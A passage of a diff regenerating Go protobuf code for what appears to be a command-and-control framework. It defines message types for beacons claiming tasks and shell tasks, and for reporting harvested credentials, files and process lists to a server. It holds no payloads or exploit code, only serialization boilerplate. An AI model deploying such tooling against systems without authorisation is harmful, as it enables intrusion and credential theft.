json:"quest_name,omitempty"` + Jwt string `protobuf:"bytes,4,opt,name=jwt,proto3" json:"jwt,omitempty"` unknownFields protoimpl.UnknownFields - - Id int64 `protobuf:"varint,1,opt,name=id,proto3" json:"id,omitempty"` - Tome *epb.Tome `protobuf:"bytes,2,opt,name=tome,proto3" json:"tome,omitempty"` - QuestName string `protobuf:"bytes,3,opt,name=quest_name,json=questName,proto3" json:"quest_name,omitempty"` - Jwt string `protobuf:"bytes,4,opt,name=jwt,proto3" json:"jwt,omitempty"` + sizeCache protoimpl.SizeCache } func (x *Task) Reset() { *x = Task{} - if protoimpl.UnsafeEnabled { - mi := &file_c2_proto_msgTypes[5] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } + mi := &file_c2_proto_msgTypes[5] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) } func (x *Task) String() string { @@ -591,7 +580,7 @@ func (*Task) ProtoMessage() {} func (x *Task) ProtoReflect() protoreflect.Message { mi := &file_c2_proto_msgTypes[5] - if protoimpl.UnsafeEnabled && x != nil { + if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -635,25 +624,22 @@ func (x *Task) GetJwt() string { } type ShellTask struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache + state protoimpl.MessageState `protogen:"open.v1"` + Id int64 `protobuf:"varint,1,opt,name=id,proto3" json:"id,omitempty"` + Input string `protobuf:"bytes,2,opt,name=input,proto3" json:"input,omitempty"` + ShellId int64 `protobuf:"varint,3,opt,name=shell_id,json=shellId,proto3" json:"shell_id,omitempty"` + SequenceId uint64 `protobuf:"varint,4,opt,name=sequence_id,json=sequenceId,proto3" json:"sequence_id,omitempty"` + StreamId string `protobuf:"bytes,5,opt,name=stream_id,json=streamId,proto3" json:"stream_id,omitempty"` + Jwt string `protobuf:"bytes,6,opt,name=jwt,proto3" json:"jwt,omitempty"` unknownFields protoimpl.UnknownFields - - Id int64 `protobuf:"varint,1,opt,name=id,proto3" json:"id,omitempty"` - Input string `protobuf:"bytes,2,opt,name=input,proto3" json:"input,omitempty"` - ShellId int64 `protobuf:"varint,3,opt,name=shell_id,json=shellId,proto3" json:"shell_id,omitempty"` - SequenceId uint64 `protobuf:"varint,4,opt,name=sequence_id,json=sequenceId,proto3" json:"sequence_id,omitempty"` - StreamId string `protobuf:"bytes,5,opt,name=stream_id,json=streamId,proto3" json:"stream_id,omitempty"` - Jwt string `protobuf:"bytes,6,opt,name=jwt,proto3" json:"jwt,omitempty"` + sizeCache protoimpl.SizeCache } func (x *ShellTask) Reset() { *x = ShellTask{} - if protoimpl.UnsafeEnabled { - mi := &file_c2_proto_msgTypes[6] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } + mi := &file_c2_proto_msgTypes[6] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) } func (x *ShellTask) String() string { @@ -664,7 +650,7 @@ func (*ShellTask) ProtoMessage() {} func (x *ShellTask) ProtoReflect() protoreflect.Message { mi := &file_c2_proto_msgTypes[6] - if protoimpl.UnsafeEnabled && x != nil { + if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -723,20 +709,17 @@ func (x *ShellTask) GetJwt() string { // TaskError provides information when task execution fails. type TaskError struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache + state protoimpl.MessageState `protogen:"open.v1"` + Msg string `protobuf:"bytes,1,opt,name=msg,proto3" json:"msg,omitempty"` unknownFields protoimpl.UnknownFields - - Msg string `protobuf:"bytes,1,opt,name=msg,proto3" json:"msg,omitempty"` + sizeCache protoimpl.SizeCache } func (x *TaskError) Reset() { *x = TaskError{} - if protoimpl.UnsafeEnabled { - mi := &file_c2_proto_msgTypes[7] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } + mi := &file_c2_proto_msgTypes[7] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) } func (x *TaskError) String() string { @@ -747,7 +730,7 @@ func (*TaskError) ProtoMessage() {} func (x *TaskError) ProtoReflect() protoreflect.Message { mi := &file_c2_proto_msgTypes[7] - if protoimpl.UnsafeEnabled && x != nil { + if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -771,26 +754,23 @@ func (x *TaskError) GetMsg() string { // TaskOutput provides information about a running task. type TaskOutput struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - Id int64 `protobuf:"varint,1,opt,name=id,proto3" json:"id,omitempty"` - Output string `protobuf:"bytes,2,opt,name=output,proto3" json:"output,omitempty"` - Error *TaskError `protobuf:"bytes,3,opt,name=error,proto3" json:"error,omitempty"` + state protoimpl.MessageState `protogen:"open.v1"` + Id int64 `protobuf:"varint,1,opt,name=id,proto3" json:"id,omitempty"` + Output string `protobuf:"bytes,2,opt,name=output,proto3" json:"output,omitempty"` + Error *TaskError `protobuf:"bytes,3,opt,name=error,proto3" json:"error,omitempty"` // Indicates the UTC timestamp task execution began, set only in the first message for reporting. ExecStartedAt *timestamppb.Timestamp `protobuf:"bytes,4,opt,name=exec_started_at,json=execStartedAt,proto3" json:"exec_started_at,omitempty"` // Indicates the UTC timestamp task execution completed, set only in last message for reporting. ExecFinishedAt *timestamppb.Timestamp `protobuf:"bytes,5,opt,name=exec_finished_at,json=execFinishedAt,proto3" json:"exec_finished_at,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache } func (x *TaskOutput) Reset() { *x = TaskOutput{} - if protoimpl.UnsafeEnabled { - mi := &file_c2_proto_msgTypes[8] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } + mi := &file_c2_proto_msgTypes[8] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) } func (x *TaskOutput) String() string { @@ -801,7 +781,7 @@ func (*TaskOutput) ProtoMessage() {} func (x *TaskOutput) ProtoReflect() protoreflect.Message { mi := &file_c2_proto_msgTypes[8] - if protoimpl.UnsafeEnabled && x != nil { + if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -852,20 +832,17 @@ func (x *TaskOutput) GetExecFinishedAt() *timestamppb.Timestamp { } type ShellTaskError struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache + state protoimpl.MessageState `protogen:"open.v1"` + Msg string `protobuf:"bytes,1,opt,name=msg,proto3" json:"msg,omitempty"` unknownFields protoimpl.UnknownFields - - Msg string `protobuf:"bytes,1,opt,name=msg,proto3" json:"msg,omitempty"` + sizeCache protoimpl.SizeCache } func (x *ShellTaskError) Reset() { *x = ShellTaskError{} - if protoimpl.UnsafeEnabled { - mi := &file_c2_proto_msgTypes[9] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } + mi := &file_c2_proto_msgTypes[9] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) } func (x *ShellTaskError) String() string { @@ -876,7 +853,7 @@ func (*ShellTaskError) ProtoMessage() {} func (x *ShellTaskError) ProtoReflect() protoreflect.Message { mi := &file_c2_proto_msgTypes[9] - if protoimpl.UnsafeEnabled && x != nil { + if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -899,26 +876,23 @@ func (x *ShellTaskError) GetMsg() string { } type ShellTaskOutput struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - Id int64 `protobuf:"varint,1,opt,name=id,proto3" json:"id,omitempty"` - Output string `protobuf:"bytes,2,opt,name=output,proto3" json:"output,omitempty"` - Error *TaskError `protobuf:"bytes,3,opt,name=error,proto3" json:"error,omitempty"` + state protoimpl.MessageState `protogen:"open.v1"` + Id int64 `protobuf:"varint,1,opt,name=id,proto3" json:"id,omitempty"` + Output string `protobuf:"bytes,2,opt,name=output,proto3" json:"output,omitempty"` + Error *TaskError `protobuf:"bytes,3,opt,name=error,proto3" json:"error,omitempty"` // Indicates the UTC timestamp task execution began, set only in the first message for reporting. ExecStartedAt *timestamppb.Timestamp `protobuf:"bytes,4,opt,name=exec_started_at,json=execStartedAt,proto3" json:"exec_started_at,omitempty"` // Indicates the UTC timestamp task execution completed, set only in last message for reporting. ExecFinishedAt *timestamppb.Timestamp `protobuf:"bytes,5,opt,name=exec_finished_at,json=execFinishedAt,proto3" json:"exec_finished_at,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache } func (x *ShellTaskOutput) Reset() { *x = ShellTaskOutput{} - if protoimpl.UnsafeEnabled { - mi := &file_c2_proto_msgTypes[10] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } + mi := &file_c2_proto_msgTypes[10] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) } func (x *ShellTaskOutput) String() string { @@ -929,7 +903,7 @@ func (*ShellTaskOutput) ProtoMessage() {} func (x *ShellTaskOutput) ProtoReflect() protoreflect.Message { mi := &file_c2_proto_msgTypes[10] - if protoimpl.UnsafeEnabled && x != nil { + if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -981,21 +955,18 @@ func (x *ShellTaskOutput) GetExecFinishedAt() *timestamppb.Timestamp { // TaskContext contains task-specific information needed for C2 operations. type TaskContext struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache + state protoimpl.MessageState `protogen:"open.v1"` + TaskId int64 `protobuf:"varint,1,opt,name=task_id,json=taskId,proto3" json:"task_id,omitempty"` + Jwt string `protobuf:"bytes,2,opt,name=jwt,proto3" json:"jwt,omitempty"` unknownFields protoimpl.UnknownFields - - TaskId int64 `protobuf:"varint,1,opt,name=task_id,json=taskId,proto3" json:"task_id,omitempty"` - Jwt string `protobuf:"bytes,2,opt,name=jwt,proto3" json:"jwt,omitempty"` + sizeCache protoimpl.SizeCache } func (x *TaskContext) Reset() { *x = TaskContext{} - if protoimpl.UnsafeEnabled { - mi := &file_c2_proto_msgTypes[11] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } + mi := &file_c2_proto_msgTypes[11] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) } func (x *TaskContext) String() string { @@ -1006,7 +977,7 @@ func (*TaskContext) ProtoMessage() {} func (x *TaskContext) ProtoReflect() protoreflect.Message { mi := &file_c2_proto_msgTypes[11] - if protoimpl.UnsafeEnabled && x != nil { + if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -1036,21 +1007,18 @@ func (x *TaskContext) GetJwt() string { } type ShellTaskContext struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache + state protoimpl.MessageState `protogen:"open.v1"` + ShellTaskId int64 `protobuf:"varint,1,opt,name=shell_task_id,json=shellTaskId,proto3" json:"shell_task_id,omitempty"` + Jwt string `protobuf:"bytes,2,opt,name=jwt,proto3" json:"jwt,omitempty"` unknownFields protoimpl.UnknownFields - - ShellTaskId int64 `protobuf:"varint,1,opt,name=shell_task_id,json=shellTaskId,proto3" json:"shell_task_id,omitempty"` - Jwt string `protobuf:"bytes,2,opt,name=jwt,proto3" json:"jwt,omitempty"` + sizeCache protoimpl.SizeCache } func (x *ShellTaskContext) Reset() { *x = ShellTaskContext{} - if protoimpl.UnsafeEnabled { - mi := &file_c2_proto_msgTypes[12] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } + mi := &file_c2_proto_msgTypes[12] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) } func (x *ShellTaskContext) String() string { @@ -1061,7 +1029,7 @@ func (*ShellTaskContext) ProtoMessage() {} func (x *ShellTaskContext) ProtoReflect() protoreflect.Message { mi := &file_c2_proto_msgTypes[12] - if protoimpl.UnsafeEnabled && x != nil { + if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -1092,20 +1060,17 @@ func (x *ShellTaskContext) GetJwt() string { // RPC Messages type ClaimTasksRequest struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache + state protoimpl.MessageState `protogen:"open.v1"` + Beacon *Beacon `protobuf:"bytes,1,opt,name=beacon,proto3" json:"beacon,omitempty"` unknownFields protoimpl.UnknownFields - - Beacon *Beacon `protobuf:"bytes,1,opt,name=beacon,proto3" json:"beacon,omitempty"` + sizeCache protoimpl.SizeCache } func (x *ClaimTasksRequest) Reset() { *x = ClaimTasksRequest{} - if protoimpl.UnsafeEnabled { - mi := &file_c2_proto_msgTypes[13] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } + mi := &file_c2_proto_msgTypes[13] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) } func (x *ClaimTasksRequest) String() string { @@ -1116,7 +1081,7 @@ func (*ClaimTasksRequest) ProtoMessage() {} func (x *ClaimTasksRequest) ProtoReflect() protoreflect.Message { mi := &file_c2_proto_msgTypes[13] - if protoimpl.UnsafeEnabled && x != nil { + if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -1139,21 +1104,18 @@ func (x *ClaimTasksRequest) GetBeacon() *Beacon { } type ClaimTasksResponse struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache + state protoimpl.MessageState `protogen:"open.v1"` + Tasks []*Task `protobuf:"bytes,1,rep,name=tasks,proto3" json:"tasks,omitempty"` + ShellTasks []*ShellTask `protobuf:"bytes,2,rep,name=shell_tasks,json=shellTasks,proto3" json:"shell_tasks,omitempty"` unknownFields protoimpl.UnknownFields - - Tasks []*Task `protobuf:"bytes,1,rep,name=tasks,proto3" json:"tasks,omitempty"` - ShellTasks []*ShellTask `protobuf:"bytes,2,rep,name=shell_tasks,json=shellTasks,proto3" json:"shell_tasks,omitempty"` + sizeCache protoimpl.SizeCache } func (x *ClaimTasksResponse) Reset() { *x = ClaimTasksResponse{} - if protoimpl.UnsafeEnabled { - mi := &file_c2_proto_msgTypes[14] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } + mi := &file_c2_proto_msgTypes[14] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) } func (x *ClaimTasksResponse) String() string { @@ -1164,7 +1126,7 @@ func (*ClaimTasksResponse) ProtoMessage() {} func (x *ClaimTasksResponse) ProtoReflect() protoreflect.Message { mi := &file_c2_proto_msgTypes[14] - if protoimpl.UnsafeEnabled && x != nil { + if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -1194,25 +1156,22 @@ func (x *ClaimTasksResponse) GetShellTasks() []*ShellTask { } type FetchAssetRequest struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - // Types that are assignable to Context: + state protoimpl.MessageState `protogen:"open.v1"` + // Types that are valid to be assigned to Context: // // *FetchAssetRequest_TaskContext // *FetchAssetRequest_ShellTaskContext - Context isFetchAssetRequest_Context `protobuf_oneof:"context"` - Name string `protobuf:"bytes,3,opt,name=name,proto3" json:"name,omitempty"` + Context isFetchAssetRequest_Context `protobuf_oneof:"context"` + Name string `protobuf:"bytes,3,opt,name=name,proto3" json:"name,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache } func (x *FetchAssetRequest) Reset() { *x = FetchAssetRequest{} - if protoimpl.UnsafeEnabled { - mi := &file_c2_proto_msgTypes[15] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } + mi := &file_c2_proto_msgTypes[15] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) } func (x *FetchAssetRequest) String() string { @@ -1223,7 +1182,7 @@ func (*FetchAssetRequest) ProtoMessage() {} func (x *FetchAssetRequest) ProtoReflect() protoreflect.Message { mi := &file_c2_proto_msgTypes[15] - if protoimpl.UnsafeEnabled && x != nil { + if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -1238,23 +1197,27 @@ func (*FetchAssetRequest) Descriptor() ([]byte, []int) { return file_c2_proto_rawDescGZIP(), []int{15} } -func (m *FetchAssetRequest) GetContext() isFetchAssetRequest_Context { - if m != nil { - return m.Context +func (x *FetchAssetRequest) GetContext() isFetchAssetRequest_Context { + if x != nil { + return x.Context } return nil } func (x *FetchAssetRequest) GetTaskContext() *TaskContext { - if x, ok := x.GetContext().(*FetchAssetRequest_TaskContext); ok { - return x.TaskContext + if x != nil { + if x, ok := x.Context.(*FetchAssetRequest_TaskContext); ok { + return x.TaskContext + } } return nil } func (x *FetchAssetRequest) GetShellTaskContext() *ShellTaskContext { - if x, ok := x.GetContext().(*FetchAssetRequest_ShellTaskContext); ok { - return x.ShellTaskContext + if x != nil { + if x, ok := x.Context.(*FetchAssetRequest_ShellTaskContext); ok { + return x.ShellTaskContext + } } return nil } @@ -1283,20 +1246,17 @@ func (*FetchAssetRequest_TaskContext) isFetchAssetRequest_Context() {} func (*FetchAssetRequest_ShellTaskContext) isFetchAssetRequest_Context() {} type FetchAssetResponse struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache + state protoimpl.MessageState `protogen:"open.v1"` + Chunk []byte `protobuf:"bytes,1,opt,name=chunk,proto3" json:"chunk,omitempty"` unknownFields protoimpl.UnknownFields - - Chunk []byte `protobuf:"bytes,1,opt,name=chunk,proto3" json:"chunk,omitempty"` + sizeCache protoimpl.SizeCache } func (x *FetchAssetResponse) Reset() { *x = FetchAssetResponse{} - if protoimpl.UnsafeEnabled { - mi := &file_c2_proto_msgTypes[16] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } + mi := &file_c2_proto_msgTypes[16] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) } func (x *FetchAssetResponse) String() string { @@ -1307,7 +1267,7 @@ func (*FetchAssetResponse) ProtoMessage() {} func (x *FetchAssetResponse) ProtoReflect() protoreflect.Message { mi := &file_c2_proto_msgTypes[16] - if protoimpl.UnsafeEnabled && x != nil { + if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -1330,25 +1290,22 @@ func (x *FetchAssetResponse) GetChunk() []byte { } type ReportCredentialRequest struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - // Types that are assignable to Context: + state protoimpl.MessageState `protogen:"open.v1"` + // Types that are valid to be assigned to Context: // // *ReportCredentialRequest_TaskContext // *ReportCredentialRequest_ShellTaskContext - Context isReportCredentialRequest_Context `protobuf_oneof:"context"` - Credential *epb.Credential `protobuf:"bytes,3,opt,name=credential,proto3" json:"credential,omitempty"` + Context isReportCredentialRequest_Context `protobuf_oneof:"context"` + Credential *epb.Credential `protobuf:"bytes,3,opt,name=credential,proto3" json:"credential,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache } func (x *ReportCredentialRequest) Reset() { *x = ReportCredentialRequest{} - if protoimpl.UnsafeEnabled { - mi := &file_c2_proto_msgTypes[17] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } + mi := &file_c2_proto_msgTypes[17] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) } func (x *ReportCredentialRequest) String() string { @@ -1359,7 +1316,7 @@ func (*ReportCredentialRequest) ProtoMessage() {} func (x *ReportCredentialRequest) ProtoReflect() protoreflect.Message { mi := &file_c2_proto_msgTypes[17] - if protoimpl.UnsafeEnabled && x != nil { + if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -1374,23 +1331,27 @@ func (*ReportCredentialRequest) Descriptor() ([]byte, []int) { return file_c2_proto_rawDescGZIP(), []int{17} } -func (m *ReportCredentialRequest) GetContext() isReportCredentialRequest_Context { - if m != nil { - return m.Context +func (x *ReportCredentialRequest) GetContext() isReportCredentialRequest_Context { + if x != nil { + return x.Context } return nil } func (x *ReportCredentialRequest) GetTaskContext() *TaskContext { - if x, ok := x.GetContext().(*ReportCredentialRequest_TaskContext); ok { - return x.TaskContext + if x != nil { + if x, ok := x.Context.(*ReportCredentialRequest_TaskContext); ok { + return x.TaskContext + } } return nil } func (x *ReportCredentialRequest) GetShellTaskContext() *ShellTaskContext { - if x, ok := x.GetContext().(*ReportCredentialRequest_ShellTaskContext); ok { - return x.ShellTaskContext + if x != nil { + if x, ok := x.Context.(*ReportCredentialRequest_ShellTaskContext); ok { + return x.ShellTaskContext + } } return nil } @@ -1419,18 +1380,16 @@ func (*ReportCredentialRequest_TaskContext) isReportCredentialRequest_Context() func (*ReportCredentialRequest_ShellTaskContext) isReportCredentialRequest_Context() {} type ReportCredentialResponse struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache + state protoimpl.MessageState `protogen:"open.v1"` unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache } func (x *ReportCredentialResponse) Reset() { *x = ReportCredentialResponse{} - if protoimpl.UnsafeEnabled { - mi := &file_c2_proto_msgTypes[18] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } + mi := &file_c2_proto_msgTypes[18] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) } func (x *ReportCredentialResponse) String() string { @@ -1441,7 +1400,7 @@ func (*ReportCredentialResponse) ProtoMessage() {} func (x *ReportCredentialResponse) ProtoReflect() protoreflect.Message { mi := &file_c2_proto_msgTypes[18] - if protoimpl.UnsafeEnabled && x != nil { + if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -1457,26 +1416,23 @@ func (*ReportCredentialResponse) Descriptor() ([]byte, []int) { } type ReportFileRequest struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - // Types that are assignable to Context: + state protoimpl.MessageState `protogen:"open.v1"` + // Types that are valid to be assigned to Context: // // *ReportFileRequest_TaskContext // *ReportFileRequest_ShellTaskContext - Context isReportFileRequest_Context `protobuf_oneof:"context"` - Kind ReportFileKind `protobuf:"varint,3,opt,name=kind,proto3,enum=c2.ReportFileKind" json:"kind,omitempty"` - Chunk *epb.File `protobuf:"bytes,4,opt,name=chunk,proto3" json:"chunk,omitempty"` + Context isReportFileRequest_Context `protobuf_oneof:"context"` + Kind ReportFileKind `protobuf:"varint,3,opt,name=kind,proto3,enum=c2.ReportFileKind" json:"kind,omitempty"` + Chunk *epb.File `protobuf:"bytes,4,opt,name=chunk,proto3" json:"chunk,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache } func (x *ReportFileRequest) Reset() { *x = ReportFileRequest{} - if protoimpl.UnsafeEnabled { - mi := &file_c2_proto_msgTypes[19] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } + mi := &file_c2_proto_msgTypes[19] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) } func (x *ReportFileRequest) String() string { @@ -1487,7 +1443,7 @@ func (*ReportFileRequest) ProtoMessage() {} func (x *ReportFileRequest) ProtoReflect() protoreflect.Message { mi := &file_c2_proto_msgTypes[19] - if protoimpl.UnsafeEnabled && x != nil { + if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -1502,23 +1458,27 @@ func (*ReportFileRequest) Descriptor() ([]byte, []int) { return file_c2_proto_rawDescGZIP(), []int{19} } -func (m *ReportFileRequest) GetContext() isReportFileRequest_Context { - if m != nil { - return m.Context +func (x *ReportFileRequest) GetContext() isReportFileRequest_Context { + if x != nil { + return x.Context } return nil } func (x *ReportFileRequest) GetTaskContext() *TaskContext { - if x, ok := x.GetContext().(*ReportFileRequest_TaskContext); ok { - return x.TaskContext + if x != nil { + if x, ok := x.Context.(*ReportFileRequest_TaskContext); ok { + return x.TaskContext + } } return nil } func (x *ReportFileRequest) GetShellTaskContext() *ShellTaskContext { - if x, ok := x.GetContext().(*ReportFileRequest_ShellTaskContext); ok { - return x.ShellTaskContext + if x != nil { + if x, ok := x.Context.(*ReportFileRequest_ShellTaskContext); ok { + return x.ShellTaskContext + } } return nil } @@ -1554,18 +1514,16 @@ func (*ReportFileRequest_TaskContext) isReportFileRequest_Context() {} func (*ReportFileRequest_ShellTaskContext) isReportFileRequest_Context() {} type ReportFileResponse struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache + state protoimpl.MessageState `protogen:"open.v1"` unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache } func (x *ReportFileResponse) Reset() { *x = ReportFileResponse{} - if protoimpl.UnsafeEnabled { - mi := &file_c2_proto_msgTypes[20] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } + mi := &file_c2_proto_msgTypes[20] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) } func (x *ReportFileResponse) String() string { @@ -1576,7 +1534,7 @@ func (*ReportFileResponse) ProtoMessage() {} func (x *ReportFileResponse) ProtoReflect() protoreflect.Message { mi := &file_c2_proto_msgTypes[20] - if protoimpl.UnsafeEnabled && x != nil { + if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -1592,25 +1550,22 @@ func (*ReportFileResponse) Descriptor() ([]byte, []int) { } type ReportProcessListRequest struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - // Types that are assignable to Context: + state protoimpl.MessageState `protogen:"open.v1"` + // Types that are valid to be assigned to Context: // // *ReportProcessListRequest_TaskContext // *ReportProcessListRequest_ShellTaskContext - Context isReportProcessListRequest_Context `protobuf_oneof:"context"` - List *epb.ProcessList `protobuf:"bytes,3,opt,name=list,proto3" json:"list,omitempty"` + Context isReportProcessListRequest_Context `protobuf_oneof:"context"` + List *epb.ProcessList `protobuf:"bytes,3,opt,name=list,proto3" json:"list,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache } func (x *ReportProcessListRequest) Reset() { *x = ReportProcessListRequest{} - if protoimpl.UnsafeEnabled { - mi := &file_c2_proto_msgTypes[21] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } + mi := &file_c2_proto_msgTypes[21] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) } func (x *ReportProcessListRequest) String() string { @@ -1621,7 +1576,7 @@ func (*ReportProcessListRequest) ProtoMessage() {} func (x *ReportProcessListRequest) ProtoReflect() protoreflect.Message { mi := &file_c2_proto_msgTypes[21] - if protoimpl.UnsafeEnabled && x != nil { + if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -1636,23 +1591,27 @@ func (*ReportProcessListRequest) Descriptor() ([]byte, []int) { return file_c2_proto_rawDescGZIP(), []int{21} } -func (m *ReportProcessListRequest) GetContext() isReportProcessListRequest_Context { - if m != nil { - return m.Context +func (x *ReportProcessListRequest) GetContext() isReportProcessListRequest_Context { + if x != nil { + return x.Context } return nil } func (x *ReportProcessListRequest) GetTaskContext() *TaskContext { - if x, ok := x.GetContext().(*ReportProcessListRequest_TaskContext); ok { - return x.TaskContext + if x != nil { + if x, ok := x.Context.(*ReportProcessListRequest_TaskContext); ok { + return x.TaskContext + } } return nil } func (x *ReportProcessListRequest) GetShellTaskContext() *ShellTaskContext { - if x, ok := x.GetContext().(*ReportProcessListRequest_ShellTaskContext); ok { - return x.ShellTaskContext + if x != nil { + if x, ok := x.Context.(*ReportProcessListRequest_ShellTaskContext); ok { + return x.ShellTaskContext + } } return nil } @@ -1681,18 +1640,16 @@ func (*ReportProcessListRequest_TaskContext) isReportProcessListRequest_Context( func (*ReportProcessListRequest_ShellTaskContext) 